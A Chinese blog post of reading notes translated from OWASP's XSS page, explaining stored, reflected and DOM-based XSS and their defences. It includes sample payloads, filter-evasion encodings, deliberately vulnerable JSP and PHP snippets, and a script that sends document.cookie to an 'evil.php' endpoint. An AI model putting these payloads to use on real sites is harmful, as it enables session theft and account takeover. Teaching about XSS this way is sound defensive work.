标签：
本文源自 https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
通过阅读和翻译，并按照自己的理解，整理成如下文档。
XSS攻击是一种注入， 通过这种攻击，恶意脚本被注入到被信任的网站里。
XSS攻击的表现是，攻击者使用web应用的缺陷，发送恶意代码到另外一个不同用户， 一般是以浏览器端脚本的形式发送。
这种使得攻击成功的缺陷是相当广泛的，并存在于这种web应用中， 应用使用用户输入数据，放到网站输出的响应中，但是没有对输出的用户输入数据 进行 校验 和 安全性转码。
浏览器收到带有恶意脚本的HTTP响应， 但是其没有办法确定恶意脚本是不可信的，因为此响应来自可信任的网站，
所以浏览器会执行恶意脚本， 这些恶意脚本可以访问 cookie、会话token、和其他敏感信息，它们都被浏览器端保存，在此网站中被使用。恶意脚本甚至可以重写 HTML页面内容。
更多不同类型的XSS缺陷的详细信息， 见 https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting
参考 XSS (Cross Site Scripting) Prevention Cheat Sheet
参考 DOM based XSS Prevention Cheat Sheet
参考 OWASP Development Guide article on Phishing.（fishing 防钓鱼）
参考 OWASP Development Guide article on Data Validation. （数据校验）
参考 OWASP Code Review Guide article on Reviewing Code for Cross-site scripting Vulnerabilities.
参考OWASP测试指南文档中关于 如何测试各种类型的XSS缺陷。
XSS攻击发生，当下面条件成立：
1、 数据输入到web应用中， 通过非可信的手段， 最常见的是web请求。
2、 数据被输出到动态网页内容中， 网页内容会被发送到web用户， 缺少对恶意内容的校验。
恶意内容通常形式为 javascript、HTML、flash 和任何浏览器可以执行的其他代码。
基于XSS攻击的形式几乎无穷，但是通常包括：
1、 发送私密数据给攻击者，例如cookie和会话信息。
2、 重定向到攻击者控制的网站页面上。
3、 以缺陷网站的幌子，在用户机器上执行其它恶意操作。
XSS攻击一般被分为两类： 存储型 和 反射型。 还有一类很不知名的XSS攻击类型， 被称为DOM Based attack，此处分开讨论 https://www.owasp.org/index.php/DOM_Based_XSS。
Stored XSS攻击，将恶意代码注入到目标服务器上，并永久保存，保存位置例如 数据库、 消息论坛、访问者日志、评论区域、等等。
受害者请求一些存储类型的信息， 同时也获取了保存恶意代码。
Stored XSS有时候被称为 Persistent or Type-I XSS.
Reflected XSS攻击，被注入的恶意代码从服务器反射回来，存于错误信息，搜索结果，和任何其它的响应，这些响应包括部分或者全部的输入，这个输入作为请求报文的部分，发往服务器。
反射型攻击发布到受害者是通过另外一个途径， 在email消息中， 或者在其他网站上。
如果受害者被欺骗点击了 一个恶意链接， 提交一个恶意构造的表单，或者甚至浏览恶意网站，
被注入代码到达缺陷的网站，网站将恶意代码反射回用户浏览器，浏览器执行恶意代码， 因为其实从可信的网站获取，
反射型XSS攻击，又称为 Non-Persistent or Type-II XSS
除了反射型和存储型XSS攻击， 还有一种攻击方式 DOM based XSS，被这个人识别 Amit Klein in 2005
OWASP推荐使用如下分类：Types of Cross-Site Scripting
XSS攻击的后果是一样的，与攻击的方式是 存储 反射 还是 DOM based无关， 攻击方式的区别是 有效荷载怎么到达服务器端。
不要误以为只有只读内容的网站没有反射性XSS攻击的缺陷。
XSS攻击可以对最终用户造成多种问题，从烦人的恶作剧 到 威胁账户安全。
最常见的XSS严重的攻击包括 泄露用户的会话cookie，允许攻击者劫持用户会话，并接管账户。
其他危害性攻击包括 泄露最终用户文件，安装特洛伊木马程序，重定向用户到其它页面或者网站，修改网页的内容展示。
XSS缺陷允许攻击者修改通讯稿和新闻条目，影响公司股价，削弱消费者信心。
要是药品网站有XSS，攻击者可以修改药品的用量， 会导致患者过量服用。
更多这种类型的攻击，见Content_Spoofing.
XSS漏洞难于确定，并从网站中去除。最好的方法是执行安全代码审查，并搜索所有的地方，这些地地方将请求中的输入输出到HTML中。注意有各种各样的HTML标签可以用来传送javascript 恶意代码。
Nessus Nikto 和其它的现成的工具可以帮助扫描出 这些漏洞，但是也仅仅是找到表面，如果网站的一个部分有此问题，意味着很有可能也有其它问题。
主要的XSS防御见此链接内描述 OWASP XSS Prevention Cheat Sheet.
除此之外，也需要关注的：
关闭web服务器的 http trace功能至关重要。 此功能可以泄露cookie的会话信息。
OWASP ESAPI project 产生了一个安全组件集合，实现了几种语言，包括校验和转码方法，防止参数篡改和XSS攻击注入。
OWASP WebGoat Project有XSS和数据转码教程。
不使用<script></script>标签也能实施XSS攻击。 其他标签页可以准确地做相同的事情，例如
<body onload=alert(‘test1‘)>
或者其它的属性，例如 onmouseover, onerror
<b onmouseover=alert(‘Wufff!‘)>click me!</b><img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
如果需要隐藏掉XSS攻击，以防止web应用过滤器检查出来， 可以对字符串中的字符进行转码。
e.g.: a=A (UTF-8) 使用在IMG标签为
<IMG SRC=jAvascript:alert(‘test2‘)>
存在多种不同的UTF-8转码写法，给了我们更多的可能。
可以编码恶意脚本为base64码， 并放到 META 标签中。
这种方法完全去除了 alert 方法，此方法的更多信息 见 RFC 2397
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
这类和其它的例子见 OWASP XSS Filter Evasion Cheat Sheet，这着实是一个XSS攻击不同语法的百科全书。
XSS攻击发生，如果恶意用户发送未经管制的内容到可信的网站上， 为了是消遣其它合法用户。
下面的JSP代码例子，读取请求总的雇员ID号，并输出给用户
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
如果请求中的eid为数字，则没有问题，
如果请求中的eid为恶意代码， 则浏览器会执行。
最初你可能以为没有什么安全问题，不可能会有那个用户在URL中输入恶意脚本，然后自己请求此URL。
但是如果恶意攻击者， 构造了这么一个URL， 并通过email或者社交网络发送给其他人这么一条链接， 接受者如果点击此链接用户就变成受害者，恶意代码从服务器端反射回来，作为响应中的内容，在浏览器中被执行。
这就是 反射型 XSS攻击。
下面的JSP代码从数据库中按照雇员ID查询，并打印出雇员的姓名
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>
此段代码看似出现XSS攻击的
可能性小， 因为雇员名称是从数据库中取出的，
此参数是受到应用程序控制的，应该是可信的。
但是如果， 此参数使用客户端发送过来，并存储到数据库中，且在存入数据库中没有经过XSS攻击字符串合法性校验，
则仍然会导致XSS攻击。这就是 存储型 XSS攻击。
这种攻击更加具有潜伏性， 并且增加了影响多个用户的可能性。例如， web站点提供了guestbook数目， 攻击者在此条目中注入了恶意代码， 后面所有访问guestbook的用户都会执行恶意代码。
如上所展示， XSS缺陷是由于HTTP响应中包含了缺少校验的代码， 存在三种途径XSS攻击到受害者：
1、 数据直接从HTTP请求中读取，并反射到HTTP响应中。Reflected XSS
2、 应用存储危险的数据在数据库或者数据仓库中， 随后被读回应用，并插入到动态内容中。Stored XSS
3、 同2，只不过是应用外的 其他源存储数据， 同样被此应用读取放到动态内容中。
如果应用没有对输入进行校验， 则攻击者很容易从认证过的用户盗取cookie，
所有攻击者的几乎必做的是， 将下面代码填入 任何输入控件（留言板 、 私信和用户档案）
<SCRIPT type="text/javascript"> var adr = ‘../evil.php?cakemonster=‘ + escape(document.cookie); </SCRIPT>
上面的脚本将用户的cookie转义后， 发送到evil.php脚本， 攻击者会检查evil.php结果。 一般黑客做法是将其写入文件。
假设有一个错误页面， 专门用于处理请求不存在的页面， 就是一个经典的404页面， 此页面会告诉用户 所请求的 URL是不存在的。
<html> <body> <? php print "Not found: " . urldecode($_SERVER["REQUEST_URI"]); ?> </body> </html>
如果请求如下URL
http://testsite.test/file_which_not_exist
响应是
Not found: /file_which_not_exist
强迫404页面包括我们的 恶意代码
http://testsite.test/<script>alert("TEST");</script>
响应
Not found: / (but with JavaScript code <script>alert("TEST")
我们已经成功注入恶意代码， 这意味着什么， 我们可以利用此漏洞窃取用户的会话cookie
Cross-site Scripting (XSS) 阅读笔记
标签：
原文地址：http://www.cnblogs.com/lightsong/p/4297677.html
